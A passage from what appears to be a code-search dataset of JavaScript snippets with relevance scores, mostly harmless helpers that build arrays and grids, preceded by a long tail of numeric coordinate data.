8, 96],[1, 8, 96],[7, 8, 96],[8, 8, 96],[16, 8, 96],[0, 9, 96],[1, 9, 96],[7, 9, 96],[8, 9, 96],[4, 11, 96],[5, 11, 96],[25, 11, 96],[4, 12, 96],[5, 12, 96],[24, 12, 96],[25, 13, 96],[24, 17, 96],[27, 17, 96],[28, 17, 96],[23, 18, 96],[22, 19, 96],[23, 19, 96],[27, 19, 96],[31, 19, 96],[32, 19, 96],[23, 20, 96],[24, 20, 96],[25, 20, 96],[26, 20, 96],[31, 20, 96],[32, 20, 96],[24, 21, 96],[25, 21, 96],[26, 21, 96],[20, 25, 96],[21, 25, 96],[20, 26, 96],[21, 27, 96],[22, 27, 96],[23, 27, 96],[23, 28, 96],[9, 0, 97],[9, 1, 97],[10, 1, 97],[11, 1, 97],[12, 2, 97],[11, 3, 97],[12, 3, 97],[14, 6, 97],[15, 6, 97],[16, 6, 97],[14, 7, 97],[0, 8, 97],[1, 8, 97],[7, 8, 97],[8, 8, 97],[15, 8, 97],[0, 9, 97],[1, 9, 97],[7, 9, 97],[8, 9, 97],[4, 11, 97],[5, 11, 97],[4, 12, 97],[5, 12, 97],[24, 12, 97],[25, 12, 97],[22, 18, 97],[23, 18, 97],[24, 18, 97],[27, 18, 97],[28, 18, 97],[22, 19, 97],[25, 19, 97],[26, 19, 97],[31, 19, 97],[32, 19, 97],[22, 20, 97],[27, 20, 97],[31, 20, 97],[32, 20, 97],[23, 21, 97],[26, 21, 97],[25, 22, 97],[20, 25, 97],[21, 25, 97],[20, 26, 97],[21, 27, 97],[22, 27, 97],[23, 27, 97],[23, 28, 97],[9, 0, 98],[9, 1, 98],[10, 1, 98],[11, 1, 98],[12, 2, 98],[11, 3, 98],[12, 3, 98],[15, 5, 98],[14, 6, 98],[15, 6, 98],[14, 7, 98],[16, 7, 98],[0, 8, 98],[1, 8, 98],[7, 8, 98],[8, 8, 98],[0, 9, 98],[1, 9, 98],[7, 9, 98],[8, 9, 98],[4, 11, 98],[5, 11, 98],[4, 12, 98],[5, 12, 98],[23, 17, 98],[22, 18, 98],[23, 18, 98],[24, 18, 98],[25, 18, 98],[26, 18, 98],[27, 18, 98],[21, 19, 98],[22, 19, 98],[24, 19, 98],[25, 19, 98],[26, 19, 98],[28, 19, 98],[31, 19, 98],[32, 19, 98],[22, 20, 98],[23, 20, 98],[25, 20, 98],[27, 20, 98],[31, 20, 98],[32, 20, 98],[26, 21, 98],[20, 25, 98],[21, 25, 98],[20, 26, 98],[21, 27, 98],[22, 27, 98],[23, 27, 98],[23, 28, 98],[9, 0, 99],[9, 1, 99],[10, 1, 99],[11, 1, 99],[12, 2, 99],[11, 3, 99],[12, 3, 99],[14, 5, 99],[15, 5, 99],[14, 6, 99],[16, 6, 99],[14, 7, 99],[0, 8, 99],[1, 8, 99],[7, 8, 99],[8, 8, 99],[0, 9, 99],[1, 9, 99],[7, 9, 99],[8, 9, 99],[4, 11, 99],[5, 11, 99],[4, 12, 99],[5, 12, 99],[22, 17, 99],[23, 17, 99],[25, 17, 99],[26, 17, 99],[21, 18, 99],[27, 18, 99],[21, 19, 99],[28, 19, 99],[31, 19, 99],[32, 19, 99],[21, 20, 99],[22, 20, 99],[23, 20, 99],[27, 20, 99],[31, 20, 99],[32, 20, 99],[26, 21, 99],[20, 25, 99],[21, 25, 99],[20, 26, 99],[21, 27, 99],[22, 27, 99],[23, 27, 99],[23, 28, 99],[9, 0, 100],[9, 1, 100],[10, 1, 100],[11, 1, 100],[12, 2, 100],[11, 3, 100],[12, 3, 100],[14, 5, 100],[15, 5, 100],[13, 6, 100],[14, 6, 100],[15, 7, 100],[0, 8, 100],[1, 8, 100],[7, 8, 100],[8, 8, 100],[0, 9, 100],[1, 9, 100],[7, 9, 100],[8, 9, 100],[4, 11, 100],[5, 11, 100],[4, 12, 100],[5, 12, 100],[22, 17, 100],[26, 17, 100],[21, 18, 100],[26, 18, 100],[27, 18, 100],[20, 19, 100],[21, 19, 100],[27, 19, 100],[28, 19, 100],[31, 19, 100],[32, 19, 100],[21, 20, 100],[22, 20, 100],[27, 20, 100],[31, 20, 100],[32, 20, 100],[22, 21, 100],[20, 25, 100],[21, 25, 100],[20, 26, 100],[21, 27, 100],[22, 27, 100],[23, 27, 100],[23, 28, 100],[9, 0, 101],[9, 1, 101],[10, 1, 101],[11, 1, 101],[12, 2, 101],[11, 3, 101],[12, 3, 101],[13, 5, 101],[14, 5, 101],[15, 5, 101],[13, 6, 101],[14, 7, 101],[0, 8, 101],[1, 8, 101],[7, 8, 101],[8, 8, 101],[0, 9, 101],[1, 9, 101],[7, 9, 101],[8, 9, 101],[4, 11, 101],[5, 11, 101],[4, 12, 101],[5, 12, 101],[26, 17, 101],[27, 17, 101],[20, 18, 101],[21, 18, 101],[22, 18, 101],[26, 18, 101],[28, 18, 101],[20, 19, 101],[28, 19, 101],[31, 19, 101],[32, 19, 101],[20, 20, 101],[22, 20, 101],[27, 20, 101],[28, 20, 101],[31, 20, 101],[32, 20, 101],[21, 21, 101],[22, 21, 101],[20, 25, 101],[21, 25, 101],[20, 26, 101],[21, 27, 101],[22, 27, 101],[23, 27, 101],[23, 28, 101],[9, 0, 102],[9, 1, 102],[10, 1, 102],[11, 1, 102],[12, 2, 102],[11, 3, 102],[12, 3, 102],[12, 4, 102],[13, 4, 102],[14, 4, 102],[13, 5, 102],[14, 5, 102],[13, 6, 102],[15, 6, 102],[0, 8, 102],[1, 8, 102],[7, 8, 102],[8, 8, 102],[0, 9, 102],[1, 9, 102],[7, 9, 102],[8, 9, 102],[4, 11, 102],[5, 11, 102],[4, 12, 102],[5, 12, 102],[21, 17, 102],[26, 17, 102],[27, 17, 102],[20, 18, 102],[21, 18, 102],[26, 18, 102],[28, 18, 102],[19, 19, 102],[20, 19, 102],[22, 19, 102],[28, 19, 102],[29, 19, 102],[31, 19, 102],[32, 19, 102],[20, 20, 102],[22, 20, 102],[27, 20, 102],[28, 20, 102],[31, 20, 102],[32, 20, 102],[21, 21, 102],[22, 21, 102],[20, 25, 102],[21, 25, 102],[20, 26, 102],[21, 27, 102],[22, 27, 102],[23, 27, 102],[23, 28, 102],[9, 0, 103],[9, 1, 103],[10, 1, 103],[11, 1, 103],[12, 2, 103],[11, 3, 103],[11, 4, 103],[14, 4, 103],[15, 5, 103],[13, 6, 103],[0, 8, 103],[1, 8, 103],[7, 8, 103],[8, 8, 103],[0, 9, 103],[1, 9, 103],[7, 9, 103],[8, 9, 103],[4, 11, 103],[5, 11, 103],[4, 12, 103],[5, 12, 103],[20, 17, 103],[21, 17, 103],[26, 17, 103],[27, 17, 103],[19, 18, 103],[22, 18, 103],[26, 18, 103],[28, 18, 103],[29, 18, 103],[19, 19, 103],[22, 19, 103],[29, 19, 103],[30, 19, 103],[31, 19, 103],[32, 19, 103],[19, 20, 103],[20, 20, 103],[22, 20, 103],[23, 20, 103],[27, 20, 103],[28, 20, 103],[29, 20, 103],[30, 20, 103],[31, 20, 103],[32, 20, 103],[21, 21, 103],[22, 21, 103],[20, 25, 103],[21, 25, 103],[20, 26, 103],[21, 27, 103],[22, 27, 103],[23, 27, 103],[23, 28, 103],[9, 0, 104],[9, 1, 104],[10, 1, 104],[11, 1, 104],[12, 2, 104],[11, 3, 104],[12, 3, 104],[14, 5, 104],[0, 8, 104],[1, 8, 104],[7, 8, 104],[8, 8, 104],[0, 9, 104],[1, 9, 104],[7, 9, 104],[8, 9, 104],[4, 11, 104],[5, 11, 104],[4, 12, 104],[5, 12, 104],[20, 17, 104],[21, 17, 104],[26, 17, 104],[27, 17, 104],[28, 17, 104],[19, 18, 104],[22, 18, 104],[26, 18, 104],[28, 18, 104],[29, 18, 104],[31, 18, 104],[18, 19, 104],[19, 19, 104],[22, 19, 104],[32, 19, 104],[19, 20, 104],[20, 20, 104],[23, 20, 104],[28, 20, 104],[32, 20, 104],[20, 21, 104],[21, 21, 104],[22, 21, 104],[23, 21, 104],[28, 21, 104],[29, 21, 104],[30, 21, 104],[31, 21, 104],[20, 25, 104],[21, 25, 104],[20, 26, 104],[21, 27, 104],[22, 27, 104],[23, 27, 104],[23, 28, 104],[9, 0, 105],[9, 1, 105],[10, 1, 105],[11, 1, 105],[12, 2, 105],[11, 3, 105],[12, 3, 105],[0, 8, 105],[1, 8, 105],[7, 8, 105],[8, 8, 105],[0, 9, 105],[1, 9, 105],[7, 9, 105],[8, 9, 105],[4, 11, 105],[5, 11, 105],[4, 12, 105],[5, 12, 105],[27, 16, 105],[20, 17, 105],[21, 17, 105],[26, 17, 105],[28, 17, 105],[29, 17, 105],[18, 18, 105],[19, 18, 105],[22, 18, 105],[26, 18, 105],[28, 18, 105],[29, 18, 105],[18, 19, 105],[21, 19, 105],[22, 19, 105],[23, 19, 105],[27, 19, 105],[28, 19, 105],[29, 19, 105],[31, 19, 105],[32, 19, 105],[18, 20, 105],[23, 20, 105],[28, 20, 105],[30, 20, 105],[32, 20, 105],[19, 21, 105],[20, 21, 105],[21, 21, 105],[22, 21, 105],[23, 21, 105],[28, 21, 105],[29, 21, 105],[30, 21, 105],[31, 21, 105],[21, 22, 105],[22, 22, 105],[29, 22, 105],[30, 22, 105],[20, 25, 105],[21, 25, 105],[20, 26, 105],[21, 27, 105],[22, 27, 105],[23, 27, 105],[23, 28, 105],[9, 0, 106],[9, 1, 106],[10, 1, 106],[11, 1, 106],[12, 2, 106],[11, 3, 106],[12, 3, 106],[0, 8, 106],[1, 8, 106],[7, 8, 106],[8, 8, 106],[0, 9, 106],[1, 9, 106],[7, 9, 106],[8, 9, 106],[4, 11, 106],[5, 11, 106],[4, 12, 106],[5, 12, 106],[27, 16, 106],[28, 16, 106],[19, 17, 106],[20, 17, 106],[21, 17, 106],[26, 17, 106],[29, 17, 106],[18, 18, 106],[19, 18, 106],[23, 18, 106],[26, 18, 106],[17, 19, 106],[18, 19, 106],[21, 19, 106],[23, 19, 106],[31, 19, 106],[32, 19, 106],[18, 20, 106],[24, 20, 106],[32, 20, 106],[19, 21, 106],[20, 21, 106],[23, 21, 106],[28, 21, 106],[23, 22, 106],[28, 22, 106],[31, 22, 106],[20, 25, 106],[21, 25, 106],[20, 26, 106],[21, 27, 106],[22, 27, 106],[23, 27, 106],[23, 28, 106],[9, 0, 107],[9, 1, 107],[10, 1, 107],[11, 1, 107],[12, 2, 107],[11, 3, 107],[12, 3, 107],[0, 8, 107],[1, 8, 107],[7, 8, 107],[8, 8, 107],[0, 9, 107],[1, 9, 107],[7, 9, 107],[8, 9, 107],[4, 11, 107],[5, 11, 107],[4, 12, 107],[5, 12, 107],[20, 16, 107],[27, 16, 107],[28, 16, 107],[18, 17, 107],[19, 17, 107],[20, 17, 107],[26, 17, 107],[28, 17, 107],[17, 18, 107],[21, 18, 107],[17, 19, 107],[22, 19, 107],[23, 19, 107],[24, 19, 107],[31, 19, 107],[32, 19, 107],[17, 20, 107],[18, 20, 107],[20, 20, 107],[22, 20, 107],[23, 20, 107],[24, 20, 107],[31, 20, 107],[32, 20, 107],[19, 21, 107],[23, 21, 107],[24, 21, 107],[20, 25, 107],[21, 25, 107],[20, 26, 107],[21, 27, 107],[22, 27, 107],[23, 27, 107],[23, 28, 107],[9, 0, 108],[9, 1, 108],[10, 1, 108],[11, 1, 108],[12, 2, 108],[11, 3, 108],[12, 3, 108],[0, 8, 108],[1, 8, 108],[7, 8, 108],[8, 8, 108],[0, 9, 108],[1, 9, 108],[7, 9, 108],[8, 9, 108],[4, 11, 108],[5, 11, 108],[4, 12, 108],[5, 12, 108],[20, 16, 108],[27, 16, 108],[28, 16, 108],[18, 17, 108],[19, 17, 108],[20, 17, 108],[21, 17, 108],[28, 17, 108],[17, 18, 108],[19, 18, 108],[20, 18, 108],[21, 18, 108],[22, 18, 108],[23, 18, 108],[16, 19, 108],[17, 19, 108],[24, 19, 108],[31, 19, 108],[32, 19, 108],[17, 20, 108],[18, 20, 108],[19, 20, 108],[21, 20, 108],[25, 20, 108],[31, 20, 108],[32, 20, 108],[18, 21, 108],[19, 21, 108],[22, 21, 108],[24, 21, 108],[20, 25, 108],[21, 25, 108],[20, 26, 108],[21, 27, 108],[22, 27, 108],[23, 27, 108],[23, 28, 108],[9, 0, 109],[9, 1, 109],[10, 1, 109],[11, 1, 109],[12, 2, 109],[11, 3, 109],[12, 3, 109],[0, 8, 109],[1, 8, 109],[7, 8, 109],[8, 8, 109],[0, 9, 109],[1, 9, 109],[7, 9, 109],[8, 9, 109],[4, 11, 109],[5, 11, 109],[4, 12, 109],[5, 12, 109],[20, 16, 109],[21, 16, 109],[27, 16, 109],[28, 16, 109],[18, 17, 109],[27, 17, 109],[28, 17, 109],[16, 18, 109],[17, 18, 109],[22, 18, 109],[23, 18, 109],[16, 19, 109],[23, 19, 109],[24, 19, 109],[31, 19, 109],[32, 19, 109],[16, 20, 109],[19, 20, 109],[20, 20, 109],[23, 20, 109],[24, 20, 109],[25, 20, 109],[31, 20, 109],[32, 20, 109],[17, 21, 109],[19, 21, 109],[20, 21, 109],[20, 25, 109],[21, 25, 109],[20, 26, 109],[21, 27, 109],[22, 27, 109],[23, 27, 109],[23, 28, 109],[9, 0, 110],[9, 1, 110],[10, 1, 110],[11, 1, 110],[12, 2, 110],[11, 3, 110],[12, 3, 110],[0, 8, 110],[1, 8, 110],[7, 8, 110],[8, 8, 110],[0, 9, 110],[1, 9, 110],[7, 9, 110],[8, 9, 110],[4, 11, 110],[5, 11, 110],[4, 12, 110],[5, 12, 110],[27, 16, 110],[28, 16, 110],[17, 17, 110],[21, 17, 110],[22, 17, 110],[27, 17, 110],[28, 17, 110],[16, 18, 110],[17, 18, 110],[22, 18, 110],[23, 18, 110],[24, 18, 110],[15, 19, 110],[16, 19, 110],[25, 19, 110],[31, 19, 110],[32, 19, 110],[16, 20, 110],[17, 20, 110],[18, 20, 110],[19, 20, 110],[20, 20, 110],[23, 20, 110],[25, 20, 110],[31, 20, 110],[32, 20, 110],[18, 21, 110],[19, 21, 110],[20, 21, 110],[24, 21, 110],[20, 25, 110],[21, 25, 110],[20, 26, 110],[21, 27, 110],[22, 27, 110],[23, 27, 110],[23, 28, 110],[9, 0, 111],[9, 1, 111],[10, 1, 111],[11, 1, 111],[12, 2, 111],[11, 3, 111],[12, 3, 111],[0, 8, 111],[1, 8, 111],[7, 8, 111],[8, 8, 111],[0, 9, 111],[1, 9, 111],[7, 9, 111],[8, 9, 111],[4, 11, 111],[5, 11, 111],[4, 12, 111],[5, 12, 111],[27, 16, 111],[28, 16, 111],[16, 17, 111],[17, 17, 111],[21, 17, 111],[22, 17, 111],[27, 17, 111],[28, 17, 111],[15, 18, 111],[17, 18, 111],[21, 18, 111],[22, 18, 111],[23, 18, 111],[24, 18, 111],[15, 19, 111],[19, 19, 111],[22, 19, 111],[25, 19, 111],[31, 19, 111],[32, 19, 111],[15, 20, 111],[16, 20, 111],[20, 20, 111],[25, 20, 111],[31, 20, 111],[32, 20, 111],[20, 21, 111],[24, 21, 111],[19, 22, 111],[20, 25, 111],[21, 25, 111],[20, 26, 111],[21, 27, 111],[22, 27, 111],[23, 27, 111],[23, 28, 111],[9, 0, 112],[9, 1, 112],[10, 1, 112],[11, 1, 112],[12, 2, 112],[11, 3, 112],[12, 3, 112],[0, 8, 112],[1, 8, 112],[7, 8, 112],[8, 8, 112],[0, 9, 112],[1, 9, 112],[7, 9, 112],[8, 9, 112],[4, 11, 112],[5, 11, 112],[4, 12, 112],[5, 12, 112],[27, 16, 112],[28, 16, 112],[16, 17, 112],[17, 17, 112],[21, 17, 112],[27, 17, 112],[28, 17, 112],[15, 18, 112],[17, 18, 112],[18, 18, 112],[20, 18, 112],[24, 18, 112],[14, 19, 112],[15, 19, 112],[20, 19, 112],[22, 19, 112],[25, 19, 112],[31, 19, 112],[32, 19, 112],[15, 20, 112],[16, 20, 112],[19, 20, 112],[20, 20, 112],[21, 20, 112],[24, 20, 112],[25, 20, 112],[31, 20, 112],[32, 20, 112],[19, 21, 112],[20, 21, 112],[20, 25, 112],[21, 25, 112],[20, 26, 112],[21, 27, 112],[22, 27, 112],[23, 27, 112],[23, 28, 112],[9, 0, 113],[9, 1, 113],[10, 1, 113],[11, 1, 113],[12, 2, 113],[11, 3, 113],[12, 3, 113],[0, 8, 113],[1, 8, 113],[7, 8, 113],[8, 8, 113],[0, 9, 113],[1, 9, 113],[7, 9, 113],[8, 9, 113],[4, 11, 113],[5, 11, 113],[4, 12, 113],[5, 12, 113],[27, 16, 113],[28, 16, 113],[16, 17, 113],[17, 17, 113],[18, 17, 113],[27, 17, 113],[28, 17, 113],[14, 18, 113],[15, 18, 113],[17, 18, 113],[18, 18, 113],[19, 18, 113],[20, 18, 113],[14, 19, 113],[17, 19, 113],[18, 19, 113],[23, 19, 113],[25, 19, 113],[31, 19, 113],[32, 19, 113],[14, 20, 113],[15, 20, 113],[16, 20, 113],[24, 20, 113],[25, 20, 113],[31, 20, 113],[32, 20, 113],[19, 21, 113],[21, 21, 113],[20, 25, 113],[21, 25, 113],[20, 26, 113],[21, 27, 113],[22, 27, 113],[23, 27, 113],[23, 28, 113],[9, 0, 114],[9, 1, 114],[10, 1, 114],[11, 1, 114],[12, 2, 114],[11, 3, 114],[12, 3, 114],[0, 8, 114],[1, 8, 114],[7, 8, 114],[8, 8, 114],[0, 9, 114],[1, 9, 114],[7, 9, 114],[8, 9, 114],[4, 11, 114],[5, 11, 114],[4, 12, 114],[5, 12, 114],[17, 16, 114],[27, 16, 114],[28, 16, 114],[15, 17, 114],[16, 17, 114],[27, 17, 114],[28, 17, 114],[14, 18, 114],[15, 18, 114],[13, 19, 114],[25, 19, 114],[31, 19, 114],[32, 19, 114],[14, 20, 114],[15, 20, 114],[16, 20, 114],[17, 20, 114],[18, 20, 114],[24, 20, 114],[25, 20, 114],[31, 20, 114],[32, 20, 114],[15, 21, 114],[20, 25, 114],[21, 25, 114],[20, 26, 114],[21, 27, 114],[22, 27, 114],[23, 27, 114],[23, 28, 114],[9, 0, 115],[9, 1, 115],[10, 1, 115],[11, 1, 115],[12, 2, 115],[11, 3, 115],[12, 3, 115],[0, 8, 115],[1, 8, 115],[7, 8, 115],[8, 8, 115],[0, 9, 115],[1, 9, 115],[7, 9, 115],[8, 9, 115],[4, 11, 115],[5, 11, 115],[4, 12, 115],[5, 12, 115],[16, 16, 115],[27, 16, 115],[28, 16, 115],[14, 17, 115],[15, 17, 115],[16, 17, 115],[27, 17, 115],[28, 17, 115],[14, 18, 115],[15, 18, 115],[16, 18, 115],[13, 19, 115],[17, 19, 115],[24, 19, 115],[25, 19, 115],[31, 19, 115],[32, 19, 115],[14, 20, 115],[15, 20, 115],[16, 20, 115],[17, 20, 115],[24, 20, 115],[25, 20, 115],[31, 20, 115],[32, 20, 115],[14, 21, 115],[15, 21, 115],[17, 21, 115],[20, 25, 115],[21, 25, 115],[20, 26, 115],[21, 27, 115],[22, 27, 115],[23, 27, 115],[23, 28, 115],[9, 0, 116],[9, 1, 116],[10, 1, 116],[11, 1, 116],[12, 2, 116],[11, 3, 116],[12, 3, 116],[0, 8, 116],[1, 8, 116],[7, 8, 116],[8, 8, 116],[0, 9, 116],[1, 9, 116],[7, 9, 116],[8, 9, 116],[4, 11, 116],[5, 11, 116],[4, 12, 116],[5, 12, 116],[16, 16, 116],[27, 16, 116],[28, 16, 116],[14, 17, 116],[17, 17, 116],[27, 17, 116],[28, 17, 116],[13, 18, 116],[17, 18, 116],[13, 19, 116],[17, 19, 116],[24, 19, 116],[25, 19, 116],[31, 19, 116],[32, 19, 116],[13, 20, 116],[17, 20, 116],[18, 20, 116],[24, 20, 116],[25, 20, 116],[31, 20, 116],[32, 20, 116],[14, 21, 116],[17, 21, 116],[20, 25, 116],[21, 25, 116],[20, 26, 116],[21, 27, 116],[22, 27, 116],[23, 27, 116],[23, 28, 116],[9, 0, 117],[9, 1, 117],[10, 1, 117],[11, 1, 117],[12, 2, 117],[11, 3, 117],[12, 3, 117],[0, 8, 117],[1, 8, 117],[7, 8, 117],[8, 8, 117],[0, 9, 117],[1, 9, 117],[7, 9, 117],[8, 9, 117],[4, 11, 117],[5, 11, 117],[4, 12, 117],[5, 12, 117],[27, 16, 117],[28, 16, 117],[16, 17, 117],[17, 17, 117],[27, 17, 117],[28, 17, 117],[13, 18, 117],[14, 18, 117],[16, 18, 117],[17, 18, 117],[18, 18, 117],[12, 19, 117],[13, 19, 117],[14, 19, 117],[16, 19, 117],[17, 19, 117],[24, 19, 117],[25, 19, 117],[31, 19, 117],[32, 19, 117],[13, 20, 117],[14, 20, 117],[16, 20, 117],[17, 20, 117],[18, 20, 117],[24, 20, 117],[25, 20, 117],[31, 20, 117],[32, 20, 117],[17, 21, 117],[18, 21, 117],[20, 25, 117],[21, 25, 117],[20, 26, 117],[21, 27, 117],[22, 27, 117],[23, 27, 117],[23, 28, 117],[9, 0, 118],[9, 1, 118],[10, 1, 118],[11, 1, 118],[12, 2, 118],[11, 3, 118],[12, 3, 118],[0, 8, 118],[1, 8, 118],[7, 8, 118],[8, 8, 118],[0, 9, 118],[1, 9, 118],[7, 9, 118],[8, 9, 118],[4, 11, 118],[5, 11, 118],[4, 12, 118],[5, 12, 118],[27, 16, 118],[28, 16, 118],[15, 17, 118],[16, 17, 118],[18, 17, 118],[27, 17, 118],[28, 17, 118],[12, 18, 118],[14, 18, 118],[18, 18, 118],[12, 19, 118],[24, 19, 118],[25, 19, 118],[31, 19, 118],[32, 19, 118],[12, 20, 118],[14, 20, 118],[24, 20, 118],[25, 20, 118],[31, 20, 118],[32, 20, 118],[16, 21, 118],[18, 21, 118],[20, 25, 118],[21, 25, 118],[20, 26, 118],[21, 27, 118],[22, 27, 118],[23, 27, 118],[23, 28, 118],[9, 0, 119],[9, 1, 119],[10, 1, 119],[11, 1, 119],[12, 2, 119],[11, 3, 119],[12, 3, 119],[0, 8, 119],[1, 8, 119],[7, 8, 119],[8, 8, 119],[0, 9, 119],[1, 9, 119],[7, 9, 119],[8, 9, 119],[4, 11, 119],[5, 11, 119],[4, 12, 119],[5, 12, 119],[27, 16, 119],[28, 16, 119],[15, 17, 119],[17, 17, 119],[27, 17, 119],[28, 17, 119],[13, 18, 119],[15, 18, 119],[17, 18, 119],[11, 19, 119],[12, 19, 119],[24, 19, 119],[25, 19, 119],[31, 19, 119],[32, 19, 119],[13, 20, 119],[24, 20, 119],[25, 20, 119],[31, 20, 119],[32, 20, 119],[20, 25, 119],[21, 25, 119],[20, 26, 119],[21, 27, 119],[22, 27, 119],[23, 27, 119],[23, 28, 119]];\r\n}", "title": "" }, { "docid": "2c53b145163e7a4bbfd4c650da9f15dc", "score": "0.5475375", "text": "function createDS(n) {\n var array = new Array(n+1);\n for (var i = 0; i < n+1; i++) {\n array[i] = new Array(n+1);\n }\n for (var i = 0; i < n+1; i++) {\n for (var j = 0; j < n+1; j++) {\n array[i][j] = 0;\n }\n }\n return array;\n}", "title": "" }, { "docid": "a54fe8402338af8f6ee1a003d5b4ad29", "score": "0.54430026", "text": "function DIM(vari, dims, value) {\n\tvari.values = new Array(realArrSize(dims)); //[];//vari.values.length = realArrSize(dims);\n\tvari.dimensions = dims;\n\tvari.defval = value;\n\t\n\t\n\tfor(var i = 0; i < vari.values.length; i++) {\n\t\tvari.values[i] = tryClone(value);\n\t}\n\t\n\t\n\treturn vari;\n}", "title": "" }, { "docid": "a54fe8402338af8f6ee1a003d5b4ad29", "score": "0.54430026", "text": "function DIM(vari, dims, value) {\n\tvari.values = new Array(realArrSize(dims)); //[];//vari.values.length = realArrSize(dims);\n\tvari.dimensions = dims;\n\tvari.defval = value;\n\t\n\t\n\tfor(var i = 0; i < vari.values.length; i++) {\n\t\tvari.values[i] = tryClone(value);\n\t}\n\t\n\t\n\treturn vari;\n}", "title": "" }, { "docid": "dafa213d8a55c9c890f8f0847c930c52", "score": "0.5439579", "text": "function populateRandomValueArray(){\n\t\n\tfor( var i = 0; i < permutation.length; i++ ){\n\t\tp[p.length] = permutation[i];\n\t}\n\t\n\tfor( i = 0; i < permutation.length; i++ ){\n\t\tp[p.length] = permutation[i];\n\t}\n}", "title": "" }, { "docid": "c6b79253157b368deb2799b482aeeb7b", "score": "0.54361933", "text": "function makeTileArray() {\n\t\tvar tileArray = []\n\t\tfor (i = 0; i < 20; i += 1) {\n tileArray.push([]);\n for(x = 0; x < 20; x += 1) {\n \ttileArray[i].push(0);\n }\n\t\t}\n\t\treturn tileArray;\n\t}", "title": "" }, { "docid": "9ffed976cab6537992570a9f504843ed", "score": "0.543244", "text": "function ReturnArray1To255(arr) {\n var newArray = []\n for (var i = 1; i <= 255; i += 2) {\n newArray.push(i)\n }\n console.log(newArray)\n}", "title": "" }, { "docid": "27e4f482b5353b69df8704cdb6b0b208", "score": "0.5426683", "text": "function e(){return [1,0,0,0,1,0,0,0,1]}", "title": "" }, { "docid": "87ac7a01312ebd7c02a31cda728bd58b", "score": "0.54248273", "text": "function buildGrid() {\n return new Array(COLS).fill(null).map(() => new Array(ROWS).fill(0));\n }", "title": "" }, { "docid": "1fbe8f90c175fe5c3e404f4a5240e81d", "score": "0.5422333", "text": "newMapArray(initialValue = 0) {\n let mapArray = new Array(this.tilesWide)\n for (let i = 0; i < mapArray.length; i++) {\n mapArray[i] = new Array(this.tilesHigh).fill(initialValue)\n }\n return mapArray\n }", "title": "" }, { "docid": "4cf1751baff0c3709631aea6aa0fa9f1", "score": "0.5421701", "text": "pushAll(values) {\n let newIndex = this.length;\n algorithm_1.each(values, value => {\n this._array.push(value);\n });\n this._changed.emit({\n type: 'add',\n oldIndex: -1,\n newIndex,\n oldValues: [],\n newValues: algorithm_1.toArray(values)\n });\n return this.length;\n }", "title": "" }, { "docid": "b98fc9f43dfeedf6402fc715e931e833", "score": "0.54161173", "text": "function create () {\n return [\n 1, 0, 0,\n 0, 1, 0,\n 0, 0, 1\n ]\n}", "title": "" }, { "docid": "9d7d59888a442f39c0c82b9d0d213cfa", "score": "0.5384832", "text": "function e(){return[0,0,0,1]}", "title": "" }, { "docid": "dd5e685b77056ae51e5f2e339a46faa1", "score": "0.53765684", "text": "makeGrid() {\n let buffer = []\n\n for(let i = 0; i < this.resolution; i++){\n let row_buffer =[]\n for(let j = 0; j < this.resolution; j++){\n row_buffer.push(0)\n }\n buffer.push(row_buffer)\n }\n\n return buffer\n }", "title": "" }, { "docid": "c206d5b60543a4628af7e97a6fdc9fa4", "score": "0.5373929", "text": "function make2DArr() {\n arr = new Array(rows);\n nextArr = new Array(rows);\n for (let i = 0; i < rows; i++) {\n arr[i] = new Array(cols);\n nextArr[i] = new Array(cols);\n }\n for (let i = 0; i < rows; i++) {\n for (let j = 0; j < cols; j++) {\n arr[i][j] = 0;\n nextArr[i][j] = 0;\n }\n }\n}", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new 